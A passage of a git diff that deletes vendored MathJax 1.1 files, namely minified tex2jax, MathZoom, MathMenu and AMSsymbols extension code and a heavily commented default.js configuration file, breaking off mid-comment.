mode=display",end:b.displayMath[c][1],pattern:this.endPattern(b.displayMath[c][1])}}this.start=new RegExp(d.sort(this.sortLength).join("|")+(b.processEnvironments?"|\\\\begin\\{([^}]*)\\}":"")+(b.processEscapes?"|\\\\*\\\\\\$":""),"g");this.skipTags=new RegExp("^("+b.skipTags.join("|")+")$","i");this.ignoreClass=new RegExp("(^| )("+b.ignoreClass+")( |$)");this.processClass=new RegExp("(^| )("+b.processClass+")( |$)")},patternQuote:function(a){return a.replace(/([\^$(){}+*?\-|\[\]\:\\])/g,"\\$1")},endPattern:function(a){return new RegExp(this.patternQuote(a)+"|\\\\.","g")},sortLength:function(d,c){if(d.length!==c.length){return c.length-d.length}return(d==c?0:(d<c?-1:1))},scanElement:function(c,b,f){var a,e,d;while(c&&c!=b){if(c.nodeName.toLowerCase()==="#text"){if(!f){c=this.scanText(c)}}else{a=(typeof(c.className)==="undefined"?"":c.className);e=(typeof(c.tagName)==="undefined"?"":c.tagName);if(typeof(a)!=="string"){a=String(a)}if(c.firstChild&&!a.match(/(^| )MathJax/)&&!this.skipTags.exec(e)){d=(f||this.ignoreClass.exec(a))&&!this.processClass.exec(a);this.scanElement(c.firstChild,b,d)}}if(c){c=c.nextSibling}}},scanText:function(b){if(b.nodeValue.replace(/\s+/,"")==""){return b}var a,c;this.search={start:true};this.pattern=this.start;while(b){this.pattern.lastIndex=0;while(b&&b.nodeName.toLowerCase()==="#text"&&(a=this.pattern.exec(b.nodeValue))){if(this.search.start){b=this.startMatch(a,b)}else{b=this.endMatch(a,b)}}if(this.search.matched){b=this.encloseMath(b)}if(b){do{c=b;b=b.nextSibling}while(b&&(b.nodeName.toLowerCase()==="br"||b.nodeName.toLowerCase()==="#comment"));if(!b||b.nodeName!=="#text"){return c}}}return b},startMatch:function(a,b){var f=this.match[a[0]];if(f!=null){this.search={end:f.end,mode:f.mode,open:b,olen:a[0].length,opos:this.pattern.lastIndex-a[0].length};this.switchPattern(f.pattern)}else{if(a[0].substr(0,6)==="\\begin"){this.search={end:"\\end{"+a[1]+"}",mode:"; mode=display",open:b,olen:0,opos:this.pattern.lastIndex-a[0].length,isBeginEnd:true};this.switchPattern(this.endPattern(this.search.end))}else{var d=a[0].substr(0,a[0].length-1),g,c;if(d.length%2===0){c=[d.replace(/\\\\/g,"\\")];g=1}else{c=[d.substr(1).replace(/\\\\/g,"\\"),"$"];g=0}c=MathJax.HTML.Element("span",null,c);var e=MathJax.HTML.TextNode(b.nodeValue.substr(0,a.index));b.nodeValue=b.nodeValue.substr(a.index+a[0].length-g);b.parentNode.insertBefore(c,b);b.parentNode.insertBefore(e,c);this.pattern.lastIndex=g}}return b},endMatch:function(a,b){if(a[0]==this.search.end){this.search.close=b;this.search.cpos=this.pattern.lastIndex;this.search.clen=(this.search.isBeginEnd?0:a[0].length);this.search.matched=true;b=this.encloseMath(b);this.switchPattern(this.start)}return b},switchPattern:function(a){a.lastIndex=this.pattern.lastIndex;this.pattern=a;this.search.start=(a===this.start)},encloseMath:function(b){var a=this.search,f=a.close,e,c;if(a.cpos===f.length){f=f.nextSibling}else{f=f.splitText(a.cpos)}if(!f){e=f=MathJax.HTML.addText(a.close.parentNode,"")}a.close=f;c=(a.opos?a.open.splitText(a.opos):a.open);while(c.nextSibling&&c.nextSibling!==f){if(c.nextSibling.nodeValue!==null){if(c.nextSibling.nodeName==="#comment"){c.nodeValue+=c.nextSibling.nodeValue.replace(/^\[CDATA\[((.|\n|\r)*)\]\]$/,"$1")}else{c.nodeValue+=c.nextSibling.nodeValue}}else{if(this.msieNewlineBug){c.nodeValue+=(c.nextSibling.nodeName.toLowerCase()==="br"?"\n":" ")}else{c.nodeValue+=" "}}c.parentNode.removeChild(c.nextSibling)}var d=c.nodeValue.substr(a.olen,c.nodeValue.length-a.olen-a.clen);c.parentNode.removeChild(c);if(this.config.preview!=="none"){this.createPreview(a.mode,d)}c=this.createMathTag(a.mode,d);this.search={};this.pattern.lastIndex=0;if(e){e.parentNode.removeChild(e)}return c},insertNode:function(b){var a=this.search;a.close.parentNode.insertBefore(b,a.close)},createPreview:function(c,a){var b;if(this.config.preview==="TeX"){b=[this.filterTeX(a)]}else{if(this.config.preview instanceof Array){b=this.config.preview}}if(b){b=MathJax.HTML.Element("span",{className:MathJax.Hub.config.preRemoveClass},b);this.insertNode(b)}},createMathTag:function(c,b){var a=document.createElement("script");a.type="math/tex"+c;MathJax.HTML.setScript(a,b);this.insertNode(a);return a},filterTeX:function(a){return a},msieNewlineBug:(MathJax.Hub.Browser.isMSIE&&document.documentMode<9)};MathJax.Hub.Register.PreProcessor(["PreProcess",MathJax.Extension.tex2jax]);MathJax.Ajax.loadComplete("[MathJax]/extensions/tex2jax.js");
-
-(function(a,c,e,b,h){var i="1.1";var g=a.CombineConfig("MathZoom",{delay:400,styles:{"#MathJax_Zoom":{position:"absolute","background-color":"#F0F0F0",overflow:"auto",display:"block","z-index":301,padding:".5em",border:"1px solid black",margin:0,"font-family":"serif","font-size":"85%","font-weight":"normal","font-style":"normal","text-align":"left","text-indent":0,"text-transform":"none","line-height":"normal","letter-spacing":"normal","word-spacing":"normal","word-wrap":"normal","white-space":"nowrap","float":"none","box-shadow":"5px 5px 15px #AAAAAA","-webkit-box-shadow":"5px 5px 15px #AAAAAA","-moz-box-shadow":"5px 5px 15px #AAAAAA","-khtml-box-shadow":"5px 5px 15px #AAAAAA",filter:"progid:DXImageTransform.Microsoft.dropshadow(OffX=2, OffY=2, Color='gray', Positive='true')"},"#MathJax_ZoomOverlay":{position:"absolute",left:0,top:0,"z-index":300,display:"inline-block",width:"100%",height:"100%",border:0,padding:0,margin:0,"background-color":"white",opacity:0,filter:"alpha(opacity=0)"}}});var d=function(j){if(!j){j=window.event}if(j){if(j.preventDefault){j.preventDefault()}if(j.stopPropagation){j.stopPropagation()}j.cancelBubble=true;j.returnValue=false}return false};var f=MathJax.Extension.MathZoom={version:i,settings:a.config.menuSettings,HandleEvent:function(l,j,k){if(!l){l=window.event}if(f.settings.CTRL&&!l.ctrlKey){return true}if(f.settings.ALT&&!l.altKey){return true}if(f.settings.CMD&&!l.metaKey){return true}if(f.settings.Shift&&!l.shiftKey){return true}return f[j](l,k)},Click:function(k,j){if(this.settings.zoom==="Click"){return this.Zoom(j,k)}},DblClick:function(k,j){if(this.settings.zoom==="Double-Click"){return this.Zoom(j,k)}},Mouseover:function(k,j){if(this.settings.zoom==="Hover"){f.oldMouseOver=j.onmouseover;j.onmouseover=null;j.onmousemove=this.Mousemove;j.onmouseout=this.Mouseout;return f.Timer(k,j)}},Mouseout:function(j){this.onmouseover=f.oldMouseOver;delete f.oldMouseOver;this.onmousemove=this.onmouseout=null;f.ClearTimer();return d(j)},Mousemove:function(j){return f.Timer(j||window.event,this)},Timer:function(k,j){this.ClearTimer();this.timer=setTimeout(MathJax.Callback(["Zoom",this,j,{}]),g.delay);return d(k)},ClearTimer:function(){if(this.timer){clearTimeout(this.timer);delete this.timer}},Zoom:function(s,l){this.ClearTimer();this.Remove();var v=s.parentNode;if(v.className==="MathJax_MathContainer"){v=v.parentNode}if(v.parentNode.className==="MathJax_MathContainer"){v=v.parentNode.parentNode}var q=(String(v.className).match(/^MathJax_(MathML|Display)$/)?v:s).nextSibling;var m=a.getJaxFor(q),r=m.root;var o=(b&&m.outputJax.isa(b.constructor)?"HTMLCSS":(h&&m.outputJax.isa(h.constructor)?"MathML":null));if(!o){return}var j=Math.floor(0.85*document.body.clientWidth),p=Math.floor(0.85*document.body.clientHeight);var k=c.Element("span",{style:{position:"relative",display:"inline-block",height:0,width:0},id:"MathJax_ZoomFrame"},[["span",{id:"MathJax_ZoomOverlay",onmousedown:this.Remove}],["span",{id:"MathJax_Zoom",onclick:this.Remove,style:{visibility:"hidden",fontSize:this.settings.zscale,"max-width":j+"px","max-height":p+"px"}},[["span"]]]]);var x=k.lastChild,u=x.firstChild,n=k.firstChild;s.parentNode.insertBefore(k,s);if(this.msieZIndexBug){var t=c.Element("img",{src:"about:blank",id:"MathJax_ZoomTracker",style:{width:0,height:0,position:"relative"}});document.body.appendChild(k);k.style.position="absolute";k.style.zIndex=g.styles["#MathJax_ZoomOverlay"]["z-index"];k=t}var w=(this["Zoom"+o])(r,u,s);if(this.msiePositionBug){if(this.msieIE8Bug){u.style.position="absolute";x.style.height=u.offsetHeight;u.style.position="";if(x.offsetHeight<=p&&x.offsetWidth<=j){x.style.overflow="visible"}}if(this.msieWidthBug){x.style.width=Math.min(j,w.w)}else{if(w.w>j){x.style.width=j}}if(x.offsetHeight>p){x.style.Height=p+"px"}if(s.nextSibling){s.parentNode.insertBefore(k,s.nextSibling)}else{v.appendChild(k)}}else{if(this.operaPositionBug){x.style.width=Math.min(j,u.offsetWidth)+"px"}}this.Position(x,w,(o==="MathML"&&v.nodeName.toLowerCase()==="div"));x.style.visibility="";if(this.settings.zoom==="Hover"){n.onmouseover=this.Remove}if(window.addEventListener){addEventListener("resize",this.Resize,false)}else{if(window.attachEvent){attachEvent("onresize",this.Resize)}else{this.onresize=window.onresize;window.onresize=this.Resize}}return d(l)},ZoomHTMLCSS:function(o,q,p){q.className="MathJax";b.idPostfix="-zoom";b.getScales(q,q);o.toHTML(q,q);var r=o.HTMLspanElement().bbox;b.idPostfix="";if(r.width&&r.width!=="100%"){var j=Math.floor(0.85*document.body.clientWidth);q.style.width=j+"px";q.style.display="inline-block";var k=(o.id||"MathJax-Span-"+o.spanID)+"-zoom";var l=document.getElementById(k).firstChild;while(l&&l.style.width!==r.width){l=l.nextSibling}if(l){l.style.width="100%"}}q.appendChild(this.topImg);var n=this.topImg.offsetTop;q.removeChild(this.topImg);var m=(this.msieWidthBug?b.getW(p)*b.em:p.offsetWidth);return{w:r.w*b.em,Y:-n,W:m}},ZoomMathML:function(k,l,m){k.toNativeMML(l,l);var n;l.appendChild(this.topImg);n=this.topImg.offsetTop;l.removeChild(this.topImg);var j=(this.ffMMLwidthBug?m.parentNode:m).offsetWidth;return{w:l.offsetWidth,Y:-n,W:j}},Position:function(p,n,r){var k=this.Resize(),m=k.x,l=k.y,j=n.W;if(this.msiePositionBug){j=-j}if(r&&this.ffMMLcenterBug){j=0}var q=-Math.floor((p.offsetWidth-j)/2),o=n.Y;p.style.left=Math.max(q,20-m)+"px";p.style.top=Math.max(o,20-l)+"px"},Resize:function(l){if(f.onresize){f.onresize(l)}var j=0,o=0,n=document.getElementById("MathJax_ZoomFrame"),k=document.getElementById("MathJax_ZoomOverlay");var m=(f.msieZIndexBug?document.getElementById("MathJax_ZoomTracker"):n);if(f.operaPositionBug){n.style.border="1px solid"}if(m.offsetParent){do{j+=m.offsetLeft;o+=m.offsetTop}while(m=m.offsetParent)}if(f.operaPositionBug){n.style.border=""}if(f.msieZIndexBug){n.style.left=j+"px";n.style.top=o+"px"}k.style.left=(-j)+"px";k.style.top=(-o)+"px";if(f.msiePositionBug){setTimeout(f.SetWH,0)}else{f.SetWH()}return{x:j,y:o}},SetWH:function(){var j=document.getElementById("MathJax_ZoomOverlay");j.style.width=j.style.height="1px";j.style.width=document.body.scrollWidth+"px";j.style.height=document.body.scrollHeight+"px"},Remove:function(k){var l=document.getElementById("MathJax_ZoomFrame");if(l){l.parentNode.removeChild(l);l=document.getElementById("MathJax_ZoomTracker");if(l){l.parentNode.removeChild(l)}if(f.operaRefreshBug){var j=c.addElement(document.body,"div",{style:{position:"fixed",left:0,top:0,width:"100%",height:"100%",backgroundColor:"white",opacity:0},id:"MathJax_OperaDiv"});document.body.removeChild(j)}if(window.removeEventListener){removeEventListener("resize",f.Resize,false)}else{if(window.detachEvent){detachEvent("onresize",f.Resize)}else{window.onresize=f.onresize;delete f.onresize}}}return d(k)}};a.Register.StartupHook("HTML-CSS Jax Ready",function(){b=MathJax.OutputJax["HTML-CSS"];b.Augment({HandleEvent:f.HandleEvent})});a.Register.StartupHook("NativeMML Jax Ready",function(){h=MathJax.OutputJax.NativeMML;h.Augment({HandleEvent:f.HandleEvent,MSIEmouseup:function(l,k,j){if(this.trapUp){delete this.trapUp;return true}if(this.MSIEzoomKeys(l)){return true}return false},MSIEclick:function(l,k,j){if(this.trapClick){delete this.trapClick;return true}if(!this.MSIEzoomKeys(l)){return false}if(!this.settings.zoom.match(/Click/)){return false}return(f.Click(l,k)===false)},MSIEdblclick:function(l,k,j){if(!this.MSIEzoomKeys(l)){return false}return(f.DblClick(l,k)===false)},MSIEmouseover:function(l,k,j){if(this.settings.zoom!=="Hover"){return false}f.Timer(l,k);return true},MSIEmouseout:function(l,k,j){if(this.settings.zoom!=="Hover"){return false}f.ClearTimer();return true},MSIEmousemove:function(l,k,j){if(this.settings.zoom!=="Hover"){return false}f.Timer(l,k);return true},MSIEzoomKeys:function(j){if(this.settings.CTRL&&!j.ctrlKey){return false}if(this.settings.CMD&&!j.metaKey){return false}if(this.settings.ALT&&!j.altKey){return false}if(this.settings.Shift&&!j.shiftKey){return false}return true}})});a.Browser.Select({MSIE:function(j){var k=(document.compatMode==="BackCompat");var l=j.versionAtLeast("8.0")&&document.documentMode>7;f.msiePositionBug=true;f.msieWidthBug=!k;f.msieIE8Bug=l;f.msieZIndexBug=!l;f.msieInlineBlockAlignBug=(!l||k);if(document.documentMode>=9){delete g.styles["#MathJax_Zoom"].filter}},Opera:function(j){f.operaPositionBug=true;f.operaRefreshBug=true},Firefox:function(j){f.ffMMLwidthBug=true;f.ffMMLcenterBug=true}});f.topImg=(f.msieInlineBlockAlignBug?c.Element("img",{style:{width:0,height:0},src:"about:blank"}):c.Element("span",{style:{width:0,height:0,display:"inline-block"}}));if(f.operaPositionBug){f.topImg.style.border="1px solid"}MathJax.Callback.Queue(["Styles",e,g.styles],["Post",a.Startup.signal,"MathZoom Ready"],["loadComplete",e,"[MathJax]/extensions/MathZoom.js"])})(MathJax.Hub,MathJax.HTML,MathJax.Ajax,MathJax.OutputJax["HTML-CSS"],MathJax.OutputJax.NativeMML);
-
-(function(b,c,f){var k="1.1.4";MathJax.Extension.MathMenu={version:k};var i=b.Browser.isPC,g=b.Browser.isMSIE;var e=(i?null:"5px");var j=b.CombineConfig("MathMenu",{delay:150,helpURL:"http://www.mathjax.org/help/user/",showRenderer:true,showFontMenu:false,showContext:false,windowSettings:{status:"no",toolbar:"no",locationbar:"no",menubar:"no",directories:"no",personalbar:"no",resizable:"yes",scrollbars:"yes",width:100,height:50},styles:{"#MathJax_About":{position:"fixed",left:"50%",width:"auto","text-align":"center",border:"3px outset",padding:"1em 2em","background-color":"#DDDDDD",color:"black",cursor:"default","font-family":"message-box","font-size":"120%","font-style":"normal","text-indent":0,"text-transform":"none","line-height":"normal","letter-spacing":"normal","word-spacing":"normal","word-wrap":"normal","white-space":"nowrap","float":"none","z-index":201,"border-radius":"15px","-webkit-border-radius":"15px","-moz-border-radius":"15px","-khtml-border-radius":"15px","box-shadow":"0px 10px 20px #808080","-webkit-box-shadow":"0px 10px 20px #808080","-moz-box-shadow":"0px 10px 20px #808080","-khtml-box-shadow":"0px 10px 20px #808080",filter:"progid:DXImageTransform.Microsoft.dropshadow(OffX=2, OffY=2, Color='gray', Positive='true')"},".MathJax_Menu":{position:"absolute","background-color":"white",color:"black",width:"auto",padding:(i?"2px":"5px 0px"),border:"1px solid #CCCCCC",margin:0,cursor:"default",font:"menu","text-align":"left","text-indent":0,"text-transform":"none","line-height":"normal","letter-spacing":"normal","word-spacing":"normal","word-wrap":"normal","white-space":"nowrap","float":"none","z-index":201,"border-radius":e,"-webkit-border-radius":e,"-moz-border-radius":e,"-khtml-border-radius":e,"box-shadow":"0px 10px 20px #808080","-webkit-box-shadow":"0px 10px 20px #808080","-moz-box-shadow":"0px 10px 20px #808080","-khtml-box-shadow":"0px 10px 20px #808080",filter:"progid:DXImageTransform.Microsoft.dropshadow(OffX=2, OffY=2, Color='gray', Positive='true')"},".MathJax_MenuItem":{padding:(i?"2px 2em":"1px 2em"),background:"transparent"},".MathJax_MenuTitle":{"background-color":"#CCCCCC",margin:(i?"-1px -1px 1px -1px":"-5px 0 0 0"),"text-align":"center","font-style":"italic","font-size":"80%",color:"#444444",padding:"2px 0",overflow:"hidden"},".MathJax_MenuArrow":{position:"absolute",right:".5em",color:"#666666","font-family":(g?"'Arial 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c=a.mo.OPTYPES.REL;MathJax.Hub.Insert(a.mo.prototype,{OPTABLE:{infix:{"\u2322":c,"\u2323":c,"\u25B3":c,"\uE006":c,"\uE007":c,"\uE00C":c,"\uE00D":c,"\uE00E":c,"\uE00F":c,"\uE010":c,"\uE011":c,"\uE016":c,"\uE017":c,"\uE018":c,"\uE019":c,"\uE01A":c,"\uE01B":c,"\uE04B":c,"\uE04F":c}}})});MathJax.Hub.Register.StartupHook("HTML-CSS Jax Ready",function(){var a=MathJax.OutputJax["HTML-CSS"];var b=a.FONTDATA.VARIANT;if(a.fontInUse==="TeX"){b["-TeX-variant"]={fonts:["MathJax_AMS","MathJax_Main","MathJax_Size1"],remap:{8808:57356,8809:57357,8816:57361,8817:57358,10887:57360,10888:57359,8740:57350,8742:57351,8840:57366,8841:57368,8842:57370,8843:57371,10955:57367,10956:57369,988:57352,1008:57353}};if(a.msieIE6){MathJax.Hub.Insert(b["-TeX-variant"].remap,{8592:[58049,"-WinIE6"],8594:[58048,"-WinIE6"],8739:[58050,"-WinIE6"],8741:[58051,"-WinIE6"],8764:[58052,"-WinIE6"],9651:[58067,"-WinIE6"]})}}if(a.fontInUse==="STIX"){MathJax.Hub.Register.StartupHook("TeX Jax Ready",function(){var c=MathJax.InputJax.TeX.Definitions;c.mathchar0mi.varnothing="2205";c.mathchar0mi.hslash="210F";c.mathchar0mi.blacktriangle="25B4";c.mathchar0mi.blacktriangledown="25BE";c.mathchar0mi.square="25FB";c.mathchar0mi.blacksquare="25FC";c.mathchar0mi.vartriangle=["25B3",{mathsize:"71%"}];c.mathchar0mi.triangledown=["25BD",{mathsize:"71%"}];c.mathchar0mo.blacktriangleleft="25C2";c.mathchar0mo.blacktriangleright="25B8";c.mathchar0mo.smallsetminus="2216";MathJax.Hub.Insert(b["-STIX-variant"],{remap:{10887:57360,10888:57359,8816:57361,8817:57358,8928:57419,8929:57423,8840:57366,8841:57368}})})}MathJax.Hub.Startup.signal.Post("TeX AMSsymbols Ready")});MathJax.Ajax.loadComplete("[MathJax]/extensions/TeX/AMSsymbols.js");
-
-MathJax.Ajax.loadComplete("[MathJax]/config/TeX-AMS_HTML.js");
diff --git a/public/MathJax/config/default.js b/public/MathJax/config/default.js
deleted file mode 100644
index e77e94c2..00000000
--- a/public/MathJax/config/default.js
+++ /dev/null
@@ -1,606 +0,0 @@
-/*************************************************************
- *
- *  MathJax/config/default.js
- *
- *  This configuration file is loaded when you load MathJax
- *  via <script src="MathJax.js?config=default"></script>
- *
- *  Use it to customize the MathJax settings.  See comments below.
- *
- *  ---------------------------------------------------------------------
- *  
- *  Copyright (c) 2009-2011 Design Science, Inc.
- * 
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the License at
- * 
- *      http://www.apache.org/licenses/LICENSE-2.0
- * 
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- */
-
-
-/*
- *  This file lists most, but not all, of the options that can be set for
- *  MathJax and its various components.  Some additional options are
- *  available, however, and are listed in the various links at:
- *  
- *  http://www.mathjax.org/resources/docs/?configuration.html#configuration-options-by-component
- *
- *  You can add these to the configuration object below if you 
- *  want to change them from their default values.
- */
-
-MathJax.Hub.Config({
-
-  //
-  //  A comma-separated list of configuration files to load
-  //  when MathJax starts up.  E.g., to define local macros, etc.
-  //  The default directory is the MathJax/config directory.
-  //  
-  //  Example:    config: ["local/local.js"],
-  //  Example:    config: ["local/local.js","MMLtoHTML.js"],
-  //
-  config: [],
-  
-  //
-  //  A comma-separated list of CSS stylesheet files to be loaded
-  //  when MathJax starts up.  The default directory is the
-  //  MathJax/config directory.
-  // 
-  //  Example:    styleSheets: ["MathJax.css"],
-  //
-  styleSheets: [],
-  
-  //
-  //  Styles to be defined dynamically at startup time.
-  //  
-  //  Example:
-  //      styles: {
-  //        ".MathJax .merror": {
-  //          color: "blue",
-  //          "background-color": "green"
-  //        }
-  //      },
-  //
-  styles: {},
-  
-  //
-  //  A comma-separated list of input and output jax to initialize at startup.
-  //  Their main code is loaded only when they are actually used, so it is not
-  //  inefficient to include jax that may not actually be used on the page.  These
-  //  are found in the MathJax/jax directory.
-  //  
-  jax: ["input/TeX","output/HTML-CSS"],
-  
-  //
-  //  A comma-separated list of extensions to load at startup.  The default
-  //  directory is MathJax/extensions.
-  //  
-  //  Example:    extensions: ["tex2jax.js","TeX/AMSmath.js","TeX/AMSsymbols.js"],
-  //
-  extensions: ["tex2jax.js"],
-  
-  //
-  //  Patterns to remove from before and after math script tags.  If you are not
-  //  using one of the preprocessors (e.g., tex2jax), you need to insert something
-  //  extra into your HTML file in order to avoid a bug in Internet Explorer.  IE
-  //  removes spaces from the DOM that it thinks are redundent, and since a SCRIPT
-  //  tag usually doesn't add content to the page, if there is a space before and after
-  //  a MathJax SCRIPT tag, IE will remove the first space.  When MathJax inserts
-  //  the typeset mathematics, this means there will be no space before it and the
-  //  preceeding text.  In order to avoid this, you should include some "guard characters"
-  //  before or after the math SCRIPT tag; define the patterns you want to use below.
-  //  Note that these are used as regular expressions, so you will need to quote
-  //  special characters.  Furthermore, since they are javascript strings, you must
-  //  quote javascript special characters as well.  So to obtain a backslash, you must
-  //  use \\ (doubled for javascript).  For example, "\\[" is the pattern \[ in the
-  //  regular expression.  That means that if you want an actual backslash in your
-  //  guard characters, you need to use "\\\\" in order to get \\ in the regular
-  //  expression, and \ in the actual text.  If both preJax and postJax are defined,
-  //  both must be present in order to be  removed.
-  //
-  //  See also the preRemoveClass comments below.
-  //  
-  //  Example:
-  //      preJax: "\\\\\\\\",  // makes a double backslash the preJax text
-  //    or
-  //      preJax:  "\\[\\[", // jax scripts must be enclosed in double brackets
-  //      postJax: "\\]\\]",
-  //
-  preJax: null,
-  postJax: null,
-  
-  //
-  //  The CSS class for a math preview to be removed preceeding a MathJax
-  //  SCRIPT tag.  If the tag just before the MathJax SCRIPT tag is of this
-  //  class, its contents are removed when MathJax processes the SCRIPT
-  //  tag.  This allows you to include a math preview in a form that will
-  //  be displayed prior to MathJax performing its typesetting.  It also
-  //  avoids the Internet Explorer space-removal bug, and can be used in
-  //  place of preJax and postJax if that is more convenient.
-  //  
-  //  For example
-  //  
-  //      <span class="MathJax_Preview">[math]</span><script type="math/tex">...</script>
-  //
-  //  would display "[math]" in place of the math until MathJax is able to typeset it.
-  //
-  preRemoveClass: "MathJax_Preview",
-  
-  //
-  //  This value controls whether the "Processing Math: nn%" message are displayed
-  //  in the lower left-hand corner.  Set to "false" to prevent those messages (though
-  //  file loading and other messages will still be shown).
-  //
-  showProcessingMessages: true,
-  
-  //
-  //  This value controls the verbosity of the messages in the lower left-hand corner.
-  //  Set it to "none" to eliminate all messages, or set it to "simple" to show
-  //  "Loading..." and "Processing..." rather than showing the full file name and the
-  //  percentage of the mathematics processed.
-  //
-  messageStyle: "normal",
-  
-  //
-  //  These two parameters control the alignment and shifting of displayed equations.
-  //  The first can be "left", "center", or "right", and determines the alignment of
-  //  displayed equations.  When the alignment is not "center", the second determines
-  //  an indentation from the left or right side for the displayed equations.
-  //  
-  displayAlign: "center",
-  displayIndent: "0em",
-  
-  //
-  //  Normally MathJax will perform its starup commands (loading of
-  //  configuration, styles, jax, and so on) as soon as it can.  If you
-  //  expect to be doing additional configuration on the page, however, you
-  //  may want to have it wait until the page's onload hander is called.  If so,
-  //  set this to "onload".
-  //
-  delayStartupUntil: "none",
-
-  //
-  //  Normally MathJax will typeset the mathematics on the page as soon as
-  //  the page is loaded.  If you want to delay that process, in which case
-  //  you will need to call MathJax.Hub.Typeset() yourself by hand, set
-  //  this value to true.
-  //
-  skipStartupTypeset: false,
-  
-  //
-  //  A list of element ID's that are the ones to process for mathematics
-  //  when any of the Hub typesetting calls (Typeset, Process, Update, etc)
-  //  are called with no element specified.  This lets you restrict the
-  //  processing to particular containers rather than scanning the entire
-  //  document for mathematics.  If none are supplied, the entire document
-  //  is processed.
-  //
-  elements: [],
-  
-  //============================================================================
-  //
-  //  These parameters control the tex2jax preprocessor (when you have included
-  //  "tex2jax.js" in the extensions list above).
-  //
-  tex2jax: {
-
-    //
-    //  The delimiters that surround in-line math expressions.  The first in each
-    //  pair is the initial delimiter and the second is the terminal delimiter.
-    //  Comment out any that you don't want, but be sure there is no extra
-    //  comma at the end of the last item in the list -- some browsers won't
-    //  be able to handle that.
-    //
-    inlineMath: [
-//    ['$','$'],      // uncomment this for standard TeX math delimiters
-      ['\\(','\\)']
-    ],
-
-    //
-    //  The delimiters that surround displayed math expressions.  The first in each
-    //  pair is the initial delimiter and the second is the terminal delimiter.
-    //  Comment out any that you don't want, but be sure there is no extra
-    //  comma at the end of the last item in the list -- some browsers won't
-    //  be able to handle that.
-    //
-    displayMath: [
-      ['$$','$$'],
-      ['\\[','\\]']
-    ],
-
-    //
-    //  This array lists the names of the tags whose contents should not be
-    //  processed by tex2jax (other than to look for ignore/process classes
-    //  as listed below).  You can add to (or remove from) this list to prevent
-    //  MathJax from processing mathematics in specific contexts.
-    //
-    skipTags: ["script","noscript","style","textarea","pre","code"],
-
-    //
-    //  This is the class name used to mark elements whose contents should
-    //  not be processed by tex2jax (other than to look for the
-    //  processClass pattern below).  Note that this is a regular
-    //  expression, and so you need to be sure to quote any regexp special
-    //  characters.  The pattern is automatically preceeded by '(^| )(' and
-    //  followed by ')( |$)', so your pattern will have to match full words
-    //  in the class name.  Assigning an element this class name will
-    //  prevent `tex2jax` from processing its contents.
-    //
-    ignoreClass: "tex2jax_ignore",
-
-    //
-    //  This is the class name used to mark elements whose contents SHOULD
-    //  be processed by tex2jax.  This is used to turn on processing within
-    //  tags that have been marked as ignored or skipped above.  Note that
-    //  this is a regular expression, and so you need to be sure to quote
-    //  any regexp special characters.  The pattern is automatically
-    //  preceeded by '(^| )(' and followed by ')( |$)', so your pattern
-    //  will have to match full words in the class name.  Use this to
-    //  restart processing within an element that has been marked as
-    //  ignored above.
-    //
-    processClass: "tex2jax_process",
-    
-    //
-    //  Set to "true" to allow \$ to produce a dollar without starting in-line
-    //  math mode.  If you uncomment the ['$','$'] line above, you should change
-    //  this to true so that you can insert plain dollar signs into your documents
-    //
-    processEscapes: false,
-
-    //
-    //  Controls whether tex2jax processes LaTeX environments outside of math
-    //  mode.  Set to "false" to prevent processing of environments except within
-    //  math mode.
-    //
-    processEnvironments: true,
-
-    //
-    //  Controls whether tex2jax inserts MathJax_Preview spans to make a
-    //  preview available, and what preview to use, when it locates in-line
-    //  and display mathetics on the page.  The default is "TeX", which
-    //  means use the TeX code as the preview (until it is processed by
-    //  MathJax).  Set to "none" to prevent the previews from being
-    //  inserted (the math will simply disappear until it is typeset).  Set
-    //  to an array containing the description of an HTML snippet in order
-    //  to use the same preview for all equations on the page (e.g., you
-    //  could have it say "[math]" or load an image).
-    //  
-    //  E.g.,     preview: ["[math]"],
-    //  or        preview: [["img",{src: "http://myserver.com/images/mypic.jpg"}]]
-    //  
-    preview: "TeX"
-    
-  },
-  
-  //============================================================================
-  //
-  //  These parameters control the mml2jax preprocessor (when you have included
-  //  "mml2jax.js" in the extensions list above).
-  //
-  mml2jax: {
-    
-    //
-    //  Controls whether mml2jax inserts MathJax_Preview spans to make a
-    //  preview available, and what preview to use, whrn it locates
-    //  mathematics on the page.  The default is "alttext", which means use
-    //  the <math> tag's alttext attribute as the preview (until it is
-    //  processed by MathJax), if the tag has one.  Set to "none" to
-    //  prevent the previews from being inserted (the math will simply
-    //  disappear until it is typeset).  Set to an array containing the
-    //  description of an HTML snippet in order to use the same preview for
-    //  all equations on the page (e.g., you could have it say "[math]" or
-    //  load an image).
-    //  
-    //  E.g.,     preview: ["[math]"],
-    //  or        preview: [["img",{src: "http://myserver.com/images/mypic.jpg"}]]
-    //  
-    preview: "alttext"
-    
-  },
-  
-  //============================================================================
-  //
-  //  These parameters control the jsMath2jax preprocessor (when you have included
-  //  "jsMath2jax.js" in the extensions list above).
-  //
-  jsMath2jax: {
-    
-    //
-    //  Controls whether jsMath2jax inserts MathJax_Preview spans to make a
-    //  preview available, and what preview to use, when it locates
-    //  mathematics on the page.  The default is "TeX", which means use the
-    //  TeX code as the preview (until it is processed by MathJax).  Set to
-    //  "none" to prevent the previews from being inserted (the math will
-    //  simply disappear until it is typeset).  Set to an array containing
-    //  the description of an HTML snippet in order to use the same preview
-    //  for all equations on the page (e.g., you could have it say "[math]"
-    //  or load an image).
-    //  
-    //  E.g.,     preview: ["[math]"],
-    //  or        preview: [["img",{src: "http://myserver.com/images/mypic.jpg"}]]
-    //  
-    preview: "TeX"
-    
-  },
-
-  //============================================================================
-  //
-  //  These parameters control the TeX input jax.
-  //
-  TeX: {
-
-    //
-    //  This specifies the side on which \tag{} macros will place the tags.
-    //  Set to "left" to place on the left-hand side.
-    //
-    TagSide: "right",
-    
-    //
-    //  This is the amound of indentation (from right or left) for the tags.
-    //
-    TagIndent: ".8em",
-    
-    //
-    //  This is the width to use for the multline environment
-    //
-    MultLineWidth: "85%",
-    
-    //
-    //  List of macros to define.  These are of the form
-    //      name: value
-    //  where 'value' is the replacement text for the macro \name.
-    //  The 'value' can also be [value,n] where 'value' is the replacement
-    //  text and 'n' is the number of parameters for the macro.
-    //  Note that backslashes must be doubled in the replacement string.
-    //  
-    //  E.g.,
-    //  
-    //      Macros: {
